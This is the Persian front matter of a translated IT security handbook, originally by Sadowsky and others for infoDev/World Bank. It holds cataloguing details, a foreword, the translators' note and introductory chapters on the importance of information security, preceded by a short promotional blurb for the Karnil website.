✓کارنیل، بزرگترین شبکه موفقیت ایرانیان می باشد، که افرادی زیادی توانسته اند با آن به موفقیت برسند، فاطمه رتبه ۱۱ کنکور کارشناسی، محمد حسین رتبه۶۸ کنکور کارشناسی، سپیده رتبه ۳ کنکور ارشد، مریم و همسرش راه اندازی تولیدی مانتو، امیر راه اندازی فروشگاه اینترنتی،کیوان پیوستن به تیم تراکتور سازی تبریز، میلاد پیوستن به تیم صبا، مهسا تحصیل در ایتالیا، و..... این موارد گوشه از افرادی بودند که با کارنیل به موفقیت رسیده اند، شما هم می توانید موفقیت خود را با کارنیل شروع کنید.

برای پیوستن به تیم کارنیلی های موفق روی لینک زیر کلیک کنید.

www.karnil.com

همچنین برای ورود به کانال تلگرام کارنیل روی لینک زیر کلیک کنید.

https://telegram.me/karnil

بسم الله الرحمن الرحیم

راهنمای
امنیت فناوری اطلاعات

تألیف:
جورج سادوسکای
جیمز اکس. دمپزی
آلن گرین‌برگ
باربارا جی. مک
آلن شوارتز

ترجمهٔ:
مهدی میردامادی
زهرا شجاعی
محمدجواد صمدی

دبیرخانه
شورای‌عالی اطلاع‌رسانی

تیرماه ۱۳۸۴

راهنمای امنیت فناوری اطلاعات = IT Security Handbook / نویسندگان جورج سادوسکای ... [و دیگران]؛ گروه مترجمین مهدی میردامادی، زهرا شجاعی، محمدجواد صمدی. -- تهران، شورای عالی اطلاع‌رسانی، دبیرخانه، ۱۳۸۴.
۵۰۹ ص.:جدول. ۵۰،۰۰۰ ریال
ISBN: 964-8846-26-x
عنوان به انگلیسی: IT Security Handbook
فهرستنویسی بر اساس اطلاعات فیپا.
کتابنامه: ص. ۵۰۹؛ همچنین به صورت زیرنویس. نمایه.
۱. تکنولوژی اطلاعات -- اقدامات تأمینی. الف. سادوسکای، جورج، George، Sadowsky. ب.میردامادی، مهدی - ۱۳۵۹ - -، مترجم. ج.شجاعی، زهرا، مترجم. د.صمدی، محمدجواد، مترجم. هـ .شورای عالی اطلاع‌رسانی. دبیرخانه. و.عنوان.
T۵۸/۵/ر۲۳ ۱۳۸۴ ۳۰۳/۴۸۳۳
کتابخانه ملی ایران ۸۴م-۱۷۵۲۵

این کتاب ترجمه‌ای است از:

George Sadowsky; James X. Dempsey; Alan Greenberg; Barbara J. Mack; Alan Schwartz; *IT Security Handbook*; infoDev, Worldbank; 2003.

(ISBN: 964-03-9951-5; *http://www.infodev-security.net/handbook*)

راهنمای امنیت فناوری اطلاعات

© **حق چاپ:** ۱۳۸۳ دبیرخانهٔ شورای‌عالی اطلاع‌رسانی

مؤلفین: جورج سادوسکای، جیمز اکس. دمپزی، آلن گرین‌برگ، باربارا جی. مک، آلن شوارتز

گروه مترجمین: مهدی میردامادی (mirmahdi@ashnasecure.com)

زهرا شجاعی (z.shojaee@ashnasecure.com)

محمدجواد صمدی (m.samadi@ashnasecure.com)

ویرایش فنی: مهدی میردامادی

صفحه‌آرایی و نسخه‌پردازی: ماریا قادری (maria_ghaderi@yahoo.com)

لیتوگرافی، چاپ و صحافی: شرکت انتشارات گل‌واژه

ناظر چاپ: سعید زراعتی (ss_zeraati@yahoo.com)

نوبت چاپ: اول ۱۳۸۴

شمارگان: ۱۵۰۰ نسخه

شابک: ISBN: 964-8846-26-x / ۹۶۴-۸۸۴۶-۲۶-x

شمارهٔ پیاپی انتشارات دبیرخانه: ۱۴-۸۴

قیمت: ۵۰،۰۰۰ ریال

نشانی پستی: تهران، خیابان شریعتی، نرسیده به چهارراه شهید قدوسی، نبش اندیشه یکم، شمارهٔ ۸۰۸

تلفن: ۸۸۴۴۸۰۳۷ و ۸۸۴۴۸۰۳۸ **نمابر:** ۸۸۴۴۸۰۳۸ ، **ص.پ:** ۱۳۱۵ـ ۱۶۳۱۵

نشانی وبگاه: http://www.scict.ir

فهرست

پیش گفتار

مفهوم امنیت در دنیای واقعی مفهومی حیاتی و کاملاً شناخته‌شده برای بشر بوده و هست. در دوران ماقبل تاریخ، امنیت مفهومی کاملاً فیزیکی را شامل می‌شد که عبارت بود از اصول حفظ بقا نظیر امنیت در برابر حملهٔ دیگران یا حیوانات و نیز امنیت تأمین غذا. بتدریج نیازهای دیگری چون امنیت در برابر حوادث طبیعی یا بیماریها و در اختیار داشتن مکانی برای زندگی و استراحت بدون مواجهه با خطر به نیازهای پیشین بشر افزوده شد. با پیشرفت تمدن و شکل‌گیری جوامع، محدودهٔ امنیت ابعاد بسیار گسترده‌تری یافت و با تفکیک حوزهٔ اموال و حقوق شخصی افراد از یکدیگر و از اموال عمومی، و همچنین تعریف قلمروهای ملی و بین‌المللی، بتدریج مفاهیم وسیعی مانند حریم خصوصی، امنیت اجتماعی، امنیت مالی، امنیت سیاسی، امنیت ملی و امنیت اقتصادی را نیز شامل گردید. این مفاهیم گرچه دیگر کاملاً محدود به نیازهای فیزیکی بشر نمی‌شدند، ولی عمدتاً تحقق و دستیابی به آنها مستلزم وجود و یا استفاده از محیطهای واقعی و فیزیکی بود.

لیکن جهان در دهه‌های اخیر و بویژه در پنج سال گذشته عرصهٔ تحولات چشمگیری بوده که بسیاری از مناسبات و معادلات پیشین را بطور اساسی دستخوش تغییر نموده است. این تحولات که با محوریت کاربری وسیع از فناوری اطلاعات و ارتباطات امکانپذیر شده، از کاربرد رایانه به عنوان ابزار خودکارسازی (Automation) و افزایش بهره‌وری آغاز گردیده و اکنون با تکامل کاربری آن در ایجاد فضای هم‌افزائی مشارکتی (Collaboration)، عملاً زندگی فردی و اجتماعی بشر را دگرگون ساخته است. به باور بسیاری از صاحبنظران همانگونه که پیدایش خط و کتابت آنچنان تأثیر شگرفی بر سرنوشت انسان برجای گذاشته که مورخین را برآن داشته تا داستان زندگی بشر بر این کره خاکی را به دوران ما قبل تاریخ و تاریخ تقسیم نمایند، ورود به فضای مجازی حاصل از فناوری نوین اطلاعات و ارتباطات نیز دورهٔ جدیدی از تمدن بشری را رقم زده، بنحوی که انقلاب عصر اطلاعات شیوهٔ اندیشه، تولید، مصرف، تجارت، مدیریت، ارتباط، جنگ و حتی دینداری و عشق‌ورزی را دگرگون ساخته است.

این تحول بزرگ الزامات و تبعات فراوانی را به همراه داشته که از مهمترین آنها بوجود آمدن مفاهیم نوین امنیت مجازی یا امنیت در فضای سایبر می‌باشد. با تغییری که در اطلاق عبارت "شبکهٔ رایانه‌ای" از یک شبکهٔ کوچک کارگروهی به شبکه‌ای گسترده و جهانی (اینترنت) واقع گردیده، و با توجه به رشد روزافزون تعاملات و تبادلاتی که روی شبکه‌های رایانه‌ای صورت می‌پذیرد، نیاز به نظام‌های حفاظت و امنیت الکترونیکی جهت ضمانت مبادلات و ایجاد تعهد قانونی برای طرفهای دخیل در مبادله بسیار حیاتی است. نظام‌هایی مشتمل بر قوانین، روشها، استانداردها و ابزارهایی که حتی از عقود متداول و روشهای سنتی تعهدآورتر بوده و ضمناً امنیت و خصوصی بودن اطلاعات حساس مبادله‌شده را بیش از پیش تضمین نمایند.

امنیت اطلاعات در محیطهای مجازی همواره بعنوان یکی از زیرساختها و الزامات اساسی در کاربری توسعه‌ای و فراگیر از ICT مورد تاکید قرار گرفته است. گرچه امنیت مطلق چه در محیط واقعی و چه در فضای مجازی دست‌نیافتنی است، ولی ایجاد سطحی از امنیت که به اندازهٔ کافی و متناسب با نیازها و سرمایه‌گذاری انجام شده باشد تقریباً در تمامی شرایط محیطی امکانپذیر است. تنها با فراهم بودن چنین سطح مطلوبی است که اشخاص حقیقی، سازمانها، شرکتهای خصوصی و ارگانهای دولتی ضمن اعتماد و اطمینان به طرفهای گوناگونی که همگی در یک تبادل الکترونیکی دخیل هستند و احتمالاً هیچگاه یکدیگر را ندیده و نمی‌شناسند، نقش مورد انتظار خود بعنوان گره‌ای مؤثر از این شبکه متعامل و هم‌افزا را ایفا خواهند نمود.

اطمینان از ایمن بودن سرمایه های اطلاعاتی و تجهیزات زیرساختی کشور گذشته از ابعاد گسترده امنیت ملی، کلید قفل فرصتهای بی‌شمار تجاری و غیرتجاری جدید اینترنتی است. آنچه مسلم است چالش امنیتی رودرروی کشور عدم دسترسی به فناوری و یا عدم وجود محصولات امنیتی نیست، بلکه سیاستگذاری، فرهنگ‌سازی، بهره‌وری مناسب از منابع موجود و نیز سازگاری آنها به گونه‌ای است که نیاز منحصربه‌فرد شبکه و فضای دیجیتالی کشور را تأمین کند. در این راستا توجه به این نکته ضروری

است که معماری امنیت اطلاعات فرآیندی از فرآیندهای جاری در معماری فناوری اطلاعات در سطوح مختلف اعم از ملی و سازمانی است که در این فرآیند به تناسب و نیاز از ابزارهای لازم استفاده خواهد شد. نکتهٔ مهم دیگر حاصل از تجارب کشورهای پیشرو حاکی است که امنیت اطلاعات مسألهای فرابخشی است و نیاز به همکاریهای گسترده در این زمینه دارد. این همکاریها هم در سطح ملی و هم در سطح بین‌المللی باید مورد توجه قرار گیرد. تعیین نقشها، وظایف و مسئولیتها از نکات مهمی است که در این همکاریها باید تعریف شوند.

امروزه امنیت فضای دیجیتال وجه تازه‌ای از امنیت ملی هر کشور را به تصویر می‌کشد. امید است که به موازات توسعه سریع کاربری‌های گوناگون فناوری ارتباطات و اطلاعات در زیربخشهای مختلف در پوشش برنامهٔ تکفا، با شناخت و تعیین زیرساختهای کلیدی کشور که وابستگی حیاتی به اطلاعات دارند و سپس برنامه‌ریزی، سازماندهی و سرمایه‌گذاری مناسب جهت حفاظت از این زیرساختها، مسیر توسعهٔ همه‌جانبهٔ کشور در دستیابی به جامعهٔ دانایی‌محور هموار گردد.

خوشبختانه در طی سالهای اخیر و پس از تصویب برنامهٔ توسعهٔ و کاربری فناوری اطلاعات و ارتباطات (تکفا) در هیأت دولت که نشان از توجه و بینش مدیریت ارشد کشور در رویکرد نوین به توسعه کشور داشته، مطالعات و بررسیهای فنی برای تمهید نیازهای امنیتی و امنیت در محیطهای رایانه‌ای آغاز شده و رشد سریعی یافته است. نتایج مطالعات کارگروه مرتبط، منجر به شناخت زمینه‌های وسیعتر نیاز گردید و بر این اساس با تصویب هیأت محترم دولت و رئیس محترم جمهور، شورای‌عالی امنیت محیط رایانه‌ای و اینترنتی کشور با مسئولیت معاون اول محترم رئیس جمهور آغاز به کار کرده است و انشاالله بزودی نتایج بررسیها و تصمیمات در قالب دستورالعملها و سند ملی امنیت فضای رایانه‌ای کشور اعلام می‌گردد.

دبیرخانهٔ شورای‌عالی اطلاع‌رسانی در ادامهٔ فعالیتهای مربوط تلاش دارد تا با تهیه، ترجمه و تألیف مطالب فنی در محیط مناسب نسبت به تقویت دانش موجود کشور در قلمروی فناوری اطلاعات اقدام نماید. کتاب حاضر از جمله اسناد بسیار مفید، جامع و متأخر در قلمرو امنیت فناوری رایانه‌ای است که به دست‌اندرکاران ICT کشور هدیه می‌گردد.

نصرالله جهانگرد
دبیر شورای‌عالی اطلاع‌رسانی و
نماینده ویژه رئیس جمهور

یادداشت مترجمین

استفادهٔ درست از اطلاعات صحیح، یکی از نیازهای بسیار مهم برای دستیابی سازمانها به اهداف سازمانی است و قابلیت اطمینان، یکپارچگی و در دسترس بودن این اطلاعات، از مشخصه‌های بسیار مهم در کارآیی آنها هستند. مزایای ذخیره‌سازی اطلاعات بصورت الکترونیکی کاربرد وسیع رایانه‌ها در اهداف تجاری را ناگزیر کرده و استفاده از شبکه‌های رایانه‌ای و بویژه اینترنت، تغییرات اساسی را در روند کسب و کار بوجود آورده و باعث شده که حجم بسیار زیادی از اطلاعات تنها به اندازهٔ یک سر انگشت با ما فاصله داشته باشند؛ و ناگفته پیدا است که در این محیط پیچیده با این ارتباطات وسیع، مخاطرات گسترده‌ای سیستمهای رایانه‌ای، سیستمهای اطلاعاتی، و فعالیتها و زیرساختهای حیاتی وابسته به آنها را تهدید می‌کنند.

در دنیای امروز، اعتبارات مالی بیشتر و بیشتر بصورت الکترونیکی جابجا می‌شوند، اطلاعات مختلف با حساسیتهای کم و زیاد از طریق شبکه‌ها منتقل می‌شوند، سامانه‌های رایانه‌ای با سرعت بسیار زیادی پیچیده‌تر و مرتبط‌تر با دنیای بیرونی می‌گردند، و ابزارهای سادهٔ نفوذ و بهره‌برداری از آسیب‌پذیریها بیش از هر زمان دیگری در دسترس ماجراجویان و جنایتکاران دنیای مجازی قرار دارد؛ و هریک از این عوامل خود به تنهایی دلیل محکمی برای جدی گرفتن موضوع امنیت است.

اکثر قریب به اتفاق سازمانها در معرض انواع تهدیدات داخلی و خارجی خرابکاران هستند؛ تهدیداتی چون دستکاری اطلاعات مرجع و یا سرقت اطلاعات حیاتی و سرمایه‌های اطلاعاتی. در چنین شرایطی، عواملی که می‌توانند از مزایای سیستمها به شمار روند (مثل سرعت و قابلیت دسترسی بالا)، اگر تحت کنترل نباشند ممکن است باعث بروز آسیب‌پذیری شوند و سوء استفادهٔ افراد بدنیت از آنها به نفوذ و خرابکاری، کلاهبرداری، و یا اخاذی بیانجامد. علاوه بر این، مشکلات طبیعی و خطاهای غیرعمدی که توسط کاربران رایانه‌ای رخ می‌دهد، درصورت فقدان روالهای صحیح برای حفاظت از اطلاعات می‌تواند نتایج مخربی به بار آورد.

در کنار همهٔ این مسائل، موضوع جرائم سازمانیافتهٔ دنیای مجازی بر پیچیدگی کار دولتها برای تأمین امنیت زیرساختهای حیاتی خدمات عمومی می‌افزاید، و اهمیت سوء استفاده از منابع دولتی، اهمیت پرداختن صحیح و مؤثر آنها به موضوع امنیت را دو چندان می‌کند. آخرین آمارهای جهانی از رخدادهای پایگاههای وب دولتی و تجاری که توسط ویروس، کرم و حملات تخریب سرویس بوقوع پیوسته، آسیب‌پذیری این سیستمها را به خوبی به تصویر می‌کشد. طبق تخمین دستگاههای امنیتی ایالات متحده (که بعنوان پیشرو در حوزهٔ فناوریهای اطلاعات و ارتباطات شناخته می‌شود)، تنها در سال ۲۰۰۳ ضررهای ناشی از خدشه‌دار شدن امنیت سازمانها بالغ بر ۱۰ میلیارد دلار برآورد شده است.

با این اوصاف، تدوین و اجرای تدابیر امنیتی در قبال این تهدیدات گسترده، ضرورتی اجتناب ناپذیر برای سازمانها محسوب می‌شود. تدابیر مناسب می‌توانند احتمال وقوع مخاطرات را به حداقل برسانند، درصورت وقوع آنها میزان خسارتهای وارده را در حد بسیار ناچیزی نگه دارند، و قابلیت واکنش سریع و مؤثر بوجود آورند تا سازمانها برای ترمیم خسارتها از فرآیندهای از پیش تعیین-شده استفاده کنند تا بهره‌وری و ایمنی اطلاعات افزایش یابد و کسب و کار با خیالی آسوده‌تر تداوم یابد.

"راهنمای امنیت فناوری اطلاعات" پس از درک ضرورت پرداختن به موضوع امنیت، به سفارش بانک جهانی و توسط گروه infoDev (یکی از زیرمجموعه‌های بانک جهانی) و به عنوان تلاشی برای ارتقای سطح امنیت فناوری اطلاعات در کشورهای عضو در این نهاد بین‌المللی تدوین و برای اولین‌بار در اجلاس نخست سران جامعهٔ اطلاعاتی (WSIS) در سوئیس، در دسامبر سال ۲۰۰۳ میان شرکت‌کنندگان توزیع شد. محتویات این کتاب حاصل بررسی کتابها، مقالات، رساله‌ها، و مستندات تخصصی زیادی از کارشناسان و متخصصین این حوزه در سراسر دنیا است. فهرست کاملی از این مراجع در بخش ششم (پیوستها) آمده است که خوانندگان محترم می‌توانند با مراجعه به آنها از آخرین نکات و موضوعات نیز آگاهی یابند.

کتاب حاضر علاوه بر اینکه مجموعه‌ای از تعاریف و راهکارهای امنیت عمومی را ارائه کرده، جنبه‌های فنی مدیریتی آنها را نیز مدنظر قرار داده است و در متن اولیه و همچنین ترجمهٔ آن تلاش شده تا حد امکان مطالب بگونه‌ای عنوان شوند کـه فهـم و درک آنها نیاز به دانش اختصاصی در این حوزه نداشته باشد و بتواند به کار جامعهٔ گسترده‌ای از کاربران فناوری اطلاعات (خصوصاً مـدیران) بیاید، و لذا می‌توان سرفصلهایی از آنرا در سمینارهای آموزشی دوره‌های کوتاه‌مدت مورد استفاده قرار داد.

در سطح جهانی، کتابهای متعددی در حوزهٔ امنیت فناوری اطلاعات و ارتباطات منتشر و بتـازگی تعـدادی از آنهـا نیـز توسـط مترجمان باتجربه و یا جوان به فارسی ترجمه شده، اما معمولاً چون به موضوعی تخصصی در زمینهٔ امنیت پرداختـه‌انـد، فاقـد نگـاه کلان و مدیریتی به این موضوع هستند. کتابی که پیش روی شما است، با نگاه کلان به موضوع امنیت، کوشیده مفاهیم مطـرح در هریک از حوزه‌های آنرا شرح دهد، و آنجا که لازم بوده از بررسی جنبه‌های فنی نیز غافل نشده، هرچند هیچگاه آنچنان وارد مسائل فنی نشده که کلان‌نگری خود را از دست داده باشد، و اینکار را به کتابهای تخصصی امنیت واگذار کرده است.

مترجمان این اثر همواره کوشیده‌اند تا در انتقال مفاهیم و نکات این کتاب، حفظ امانت نمایند و هیچگاه معانی را فـدای الفـاظ نکرده و در بسیاری از موارد واژه‌سازی یا معادل‌سازی نموده‌اند، که کاری طاقت‌فرسا و مسئولیت‌آور است. سایر عنـاوینی کـه بـرای آنها معادل فارسی یافته و یا ساخته نـشده نیـز بـصورت اصـلی در ترجمـه تکـرار شـده‌انـد. امیـدواریم خواننـدگان محتـرم اعـم از صاحبنظران، اساتید دانشجویان، و علاقه‌مندان با ارائه پیشنهادات و انتقادات خود ما را در رفـع لغزشـها و کاسـتیهای احتمـالی ایـن کتاب آگاه سازند تا در صدد رفع آنها برآییم.

برای جلوگیری از سردرگمی خوانندگانی که به تازگی به مقولهٔ امنیت اطلاعات علاقه‌مند شده‌اند و هنوز با اصطلاحات امنیتـی و معادلهای رایج آنها آشنایی چندانی ندارند، در انتهای کتاب فهرستی از لغات و اصطلاحات رایج امنیتی که در کتاب از آنها استفاده شده و نیز معادل فارسیِ بکاررفته برای آنها تعبیه شده است. در صفحه‌آرایی کتاب نیز از نسخهٔ اصلی کتاب الگوبرداری شـده و جـز بخش پنجم – که بدلیل وجود متون فنی و متن‌برنامه زیاد، از تمام فضای صفحه برای متن استفاده شده است – در سایر بخشها از صفحه‌آرایی دوستونی استفاده شده است.

در پایان بر خود لازم می‌دانیم از خانم مریم افتخاری و آقایان محمدمهدی جاقوری، افشین لامعی، و نیما لطفی کـه در تهیـهٔ این اثر متحمل زحماتی شدند، کلیهٔ اساتید و صاحبنظرانی که با ارائه نظرات کارشناسی و راهگـشای خـود بـه مـا در انجـام اینکـار دلگرمی دادند، کلیهٔ همکارانی که به نوعی در تهیه و تنظیم این اثر نقش داشتند، و نیز دبیرخانهٔ شـورای عـالی اطـلاع‌رسـانی کـه زحمت چاپ و نشر این کتاب را عهده‌دار شد صمیمانه تشکر نماییم.

امید آنکه این مکتوب بتواند اثری هرچند جزئی در سیر پیشرفت و توسعهٔ کشور در مسیر نیل به ایرانی آباد، آزاد و سرفراز مؤثر افتد.

گروه مترجمین
تابستان ۱۳۸۴

دیباچه

کلیهٔ اعتبارات مربوط به تهیه و تدوین کتاب حاضر از *طرح infoDev گروه بانک جهانی*[1] تأمین شده است. طی سالهای اخیر موضوع *امنیت فناوری اطلاعات*[2] به اهمیتی ویژه دست یافته و به همین دلیل مورد توجه *گروه مشاورهٔ فنی infoDev*[3] واقع شده است. در اینجا بر خود لازم می‌دانیم که مراتب تشکر و امتنان خود را به دلیل بذل توجه *دبیرخانهٔ ایالتی امور اقتصادی سوئیس* (SECO)[4] نه‌تنها بخاطر تأمین اعتبار این پروژه، بلکه بخاطر درک فوریت مسئله و به ثمر رساندن این کتاب اعلام نمائیم.

فناوری اطلاعات و ارتباطات (ICT)[5] نقش مهمی در توسعهٔ اقتصادی و اجتماعی ایفا می‌کند، ولی این نکته را نیز نباید از نظر دور داشت که در یک محیط ناامن و غیر قابل اطمینان، استفادهٔ مؤثر از فناوری اطلاعات و ارتباطات ناشدنی است. بنابراین امنیت فناوری اطلاعات دارای نقشی اساسی و تعیین‌کننده در ایجاد شرایط لازم برای پیاده‌سازی موفق طرح‌های ملی فناوری اطلاعات و ارتباطات، دولت الکترونیکی، تجارت الکترونیک و اجرای پروژه‌هایی در زمینه‌های آموزش و پرورش، بهداشت یا امور مالی و اعتباری است.

امنیت فناوری اطلاعات موضوع پیچیده‌ای است و تقریباً همگام با فناوری در حال تکوین است. مؤلفین در این کتاب توانسته‌اند بهترین راهکارها و پیشنهادات را – مستقل از فناوری – برای محیط‌های ویژهٔ فناوری اطلاعات ارائه دهند. خوانندگان همچنین می‌توانند با مراجعه به پایگاه وب *www.infodev-security.net* به اطلاعات به‌روز و مناسب دست یابند و از طریق این جریان اطلاع‌رسانیِ ثابت، از پیشرفت‌های جدید در زمینهٔ امنیت فناوری اطلاعات باخبر شوند. با توجه به اینکه مطالب ارائه‌شده در این کتاب لزوماً دیدگاه‌های infoDev یا گروه بانک جهانی را منعکس نمی‌کند، بنظر ما استفاده از این کتاب در کنار پایگاه وب مربوط به آن می‌تواند کمک بزرگی به فهم موضوعات مرتبط با امنیت فناوری اطلاعات در سراسر جهان نماید.

کتاب حاضر متشکل از پنج بخش است که هریک از آنها می‌تواند بصورت جداگانه مورد مطالعه قرار گیرد. پس از مقدمه‌ای کوتاه بر عناوین عمومی امنیت فناوری اطلاعات، به مطالب و مباحثی برخورد خواهیدکرد که برای کاربران انفرادی، سازمانهای کوچک و متوسط، دولت، و راهبران فنی مناسب هستند. هرچند بیشتر پژوهشها و مقالات منتشر شده دربارهٔ امنیت فناوری اطلاعات در کشورهای توسعه‌یافته پیدا می‌شود، ولی تلاش مؤلفین بر این بوده که خطمشی‌های عملی و کارآمدی ارائه دهند که در کشورهای درحال توسعه نیز قابل استفاده باشد.

امیدواریم انتشار این کتاب و آغاز بکار پایگاه وب آن نقطهٔ آغاز یک فرآیند تعاملی از پیشرفت همزمان راهکارها و فناوری باشد؛ و در این راه آنچه بیش از همه اهمیت دارد این است که خوانندگان محترم کتاب، شیوه و راهکارهای مناسب و کارآمد خود را در اختیار دیگران نیز قرار دهند.

Mohesn A. Khalil : مدیر بخش فناوری اطلاعات و ارتباطات بین‌المللی – گروه بانک جهانی

Burno Lanvin : مدیر برنامهٔ infoDev – گروه بانک جهانی

Michel A.Maechler : مدیر تقسیم وظایف گسترش اطلاعات، کارشناس ارشد انفورماتیک – گروه بانک جهانی

---

1 *infoDev Program of the World Bank Group*
2 *IT Security*
3 *infoDev Technical Advisory Panel*
4 *State Secretariat of Economic Affairs of Switzerland*
5 *Information & Communication Technology*

پیش‌درآمد

سیر پیشرفت فناوری اطلاعات و ارتباطات و نوآوریهای حاصل از آن موجب افزایش چشمگیر بهره‌وری و پیدایش انواع جدیدی از کالاها و خدمات شده است. با بهبود روزافزون قدرت، ظرفیت و قیمت تجهیزات میکروالکترونیکی که به رشد سالانهٔ تقریباً ۳۰ درصدی بهره‌وری نسبت به قیمت منجر شده، امکان استفاده از این فناوری برای همه میسر شده است. امروزه ما در دنیایی زندگی می‌کنیم که پردازش اطلاعات در آن ارزان و هزینه‌های ارتباط تلفنی رو به کاهش است و جهان بطور فزاینده‌ای در تبادل و تعامل می‌باشد.

اما فراهم شدن امکانات فنی جدید تنها باعث پیدایش محصولات نوین و راههای بهتر و کارآمدتر برای انجام امور نشده، بلکه در کنار آن امکان سوء استفاده از فناوری را نیز افزایش داده است. فناوری اطلاعات و ارتباطات نیز همانند سایر فناوریها حالت ابزاری دارد و می‌توان آنرا بگونه‌ای مورد استفاده قرار داد که برای همگان مفید باشد و یا به نحوی از آن استفاده کرد که نتایج خطرناکی به بار آورد. عامل سرعت در فناوری اطلاعات و ارتباطات چیزی در حدود میکروثانیه است که باعث می‌شود اطلاعات غیرقابل مشاهده با چشم غیرمسلح، تحت کنترل نرم‌افزار تهیه‌شده توسط افراد جابجا گردد. در چنین فضایی اعمال غیرقانونی و مخرب آنقدر سریع صورت می‌گیرد که می‌تواند غیرقابل شناسایی باشد – هرچند شناسایی آن غیر ممکن نیست.

مشکلات مربوط به امنیت سیستمهای اطلاعاتی، فرآیندهای وابسته به آنها و ذخیره و ارسال اطلاعات به شکل الکترونیکی مسائل تازه‌ای نیستند. سیستمهای تجاریِ رایانه‌ای نزدیک به پنجاه سال قدمت دارند. سیستمهای بانکداری نیز انتقال الکترونیکی پول را تقریباً در همان زمان آغاز کرده‌اند.

در این سیستمهای تجاری، برای ارتکاب جرم از طریق نفوذ به شبکه‌های رایانه‌ای و سیستمهای مالی انگیزه‌های قوی وجود دارد. در واکنش به افزایش احتمال انجام فعالیتهای تبهکارانه و برای تهیهٔ معیارهای امنیتی قوی‌تر در عرصهٔ ارتباطات و پردازش، طرحهای تحقیقات و توسعه‌ای اطلاعات آغاز شده است.

در نیم‌قرن اخیر بسیاری از مسائل تغییر کرده‌اند. انقلاب رایانه‌های شخصی که در اواسط دههٔ ۷۰ میلادی شروع شد درحال حاضر موجب شده رایانه‌هایی با اندازه و قدرتی قابل ملاحظه در دسترس صدها میلیون نفر قرار داشته باشند. علاوه بر آن اینترنت و دیگر انواع شبکه‌های شخصی ارتباطات بین رایانه‌ای را میان بسیاری از مردم امکانپذیر ساخته‌اند. بیست و پنج سال پیش کار با رایانه و برقراری ارتباطات عموماً توسط تعداد کمی از کارشناسان این رشته صورت می‌پذیرفت؛ اما امروزه صدها میلیون رایانه برای پردازش هرگونه اطلاعات قابل تصوری بکار می‌روند و توسط یک شبکهٔ ارتباطی قوی بنام اینترنت به هم متصل می‌شوند. این شبکه موجب گسترش ارتباطات مردمی از طریق پست الکترونیکی و قابلیت ارسال پیام فوری شده و همچنین امکان دسترسی آسان و نسبتاً ارزان به مفاهیم دیجیتالی و اسناد تجهیزات فنی و محصولات درحال ساخت را بوجود آورده است. بدیهی است که به تناسب پیشرفت فناوری، مشکلات نیز بیشتر می‌شود. عمدهٔ کاربران شبکه‌های رایانه‌ای دههٔ ۷۰ میلادی را کارشناسان حرفه‌ای رایانه تشکیل می‌دادند؛ حال آنکه امروز بیشتر کاربران از افراد غیرحرفه‌ای هستند و لذا ممکن است عدم اطلاعات کافی آنان باعث شود که از بسته‌های نرم‌افزاری ایمن استفادهٔ مناسب نکنند و درنتیجه نفوذگران و تبهکاران رایانه‌ای صرفنظر از محل جغرافیایی خود و یا کاربر بتوانند به سیستم حمله و از آن سوء استفاده نمایند.

اگر در منزل و یا محل کار خود از رایانه استفاده می‌کنید مسئولیت حفاظت از اطلاعات آن بر عهدهٔ شما است. این کتاب به شما کمک می‌کند که جزئیات فنی و نحوهٔ کارکردن با یک رایانه یا شبکه‌ای از رایانه‌های متصل به هم را بیاموزید. تلاش برای حفظ امنیت وظیفهٔ هر فرد است. این فرد می‌تواند یک کاربر عادی، کارشناس فنی، راهبر سیستم، راهبر شبکه، و مدیر یک سیستم یا شبکه در سازمان باشد. توجه به اهمیت امنیت باعث می‌شود اقدامات ضروری و اطمینان‌بخشی برای حفاظت از سیستمها صورت پذیرد و استفاده از مجموعه‌ای مؤثر از سیاستهای امنیتی، گام مهمی در جهت اطمینان از این مسئله است. در آنصورت در بیشتر

موارد رایانه‌ها و اطلاعات شما از دسترسیهای غیرمجاز ایمن خواهند بود و خواهید توانست اطلاعات خود را بصورت امن در شبکه با سایرین مبادله کنید.

این کتاب زمانی‌تهیه شد که استفاده از فناوری اطلاعات و ارتباطات در توسعهٔ اقتصادی- اجتماعی به اوج خود رسیده بود و علاوه بر آن به مدت ۴۰ سال یا بیشتر در غالب طرحهای منطقه‌ای یا عملیاتی که توسط مراکز کمک‌رسانی دومنظوره یا چندمنظوره اجرا می‌شدند بکار می‌رفت. این باور که فناوری اطلاعات و ارتباطات یک موضوع مهم و حیاتی برای آغاز بسیاری از فعالیتهای توسعه‌ای است موضوعی نسبتاً تازه می‌باشد و شروع آن به راه‌اندازی شبکه جهانی اینترنت در اوایل دههٔ ۹۰ میلادی باز می‌گردد. این موضوع برای اولین بار در یک مؤسسهٔ چندمنظوره توسط برنامهٔ infoDev در گروه بانک جهانی در سال ۱۹۹۵ میلادی رسماً اعلام شد و از پشتیبانی فکری رئیس وقت بانک جهانی *جیمز ولفسن*[1] برخوردار بود که بر اهمیت به‌اشتراک‌گذاری اطلاعات برای نیل به اهداف توسعهٔ اقتصادی- اجتماعی تأکید زیادی داشت. از آن زمان به بعد خوش‌بینی نسبت به توسعهٔ اقتصادی- اجتماعی بیشتر شد که بخشی از آن به دلیل توسعهٔ فناوریهای ارزان در سراسر جهان بود.

در سال ۲۰۰۱ کشورهای عضو گروه G8، *کمیتهٔ کاری فرصتهای دیجیتالی* (DOT)[2] را پایه‌ریزی کردند. کمیتهٔ DOT نتایج کار خود را طی گزارشی ارائه نمود و خواستار قرارگرفتن ۹ موضوع در *طرح اجرایی ژنو*[3] شد که همهٔ آنها در اجلاس سران ژنو در سال ۲۰۰۱ به تأیید و امضای رهبران گروه G8 رسیدند. اعضای اصلی کمیتهٔ DOT سهامداران اصلی گروه G8 و دولتهای کشورهای درحال توسعه، بخشهای خصوصی و غیرانتفاعی و همچنین انبوهی از سازمانهای بین‌المللی هستند. گزارش مزبور شامل ۷ بند عملیاتی بعنوان موضوعات حیاتی برای ایجاد جامعهٔ اطلاعاتی می‌باشد:

۱) پشتیبانی از سیاستها
۲) ارتقا و بهبود دسترسی
۳) توسعهٔ منابع انسانی
۴) پرورش کارآفرینان و فعالیتهای کارآفرینی
۵) مشارکت کشورهای درحال توسعه در کنفرانسهای بین‌المللی در زمینهٔ فناوری اطلاعات
۶) کاربرد فناوری در بهداشت و سلامت
۷) نرم‌افزارهای کاربردی و مفاهیم محلی

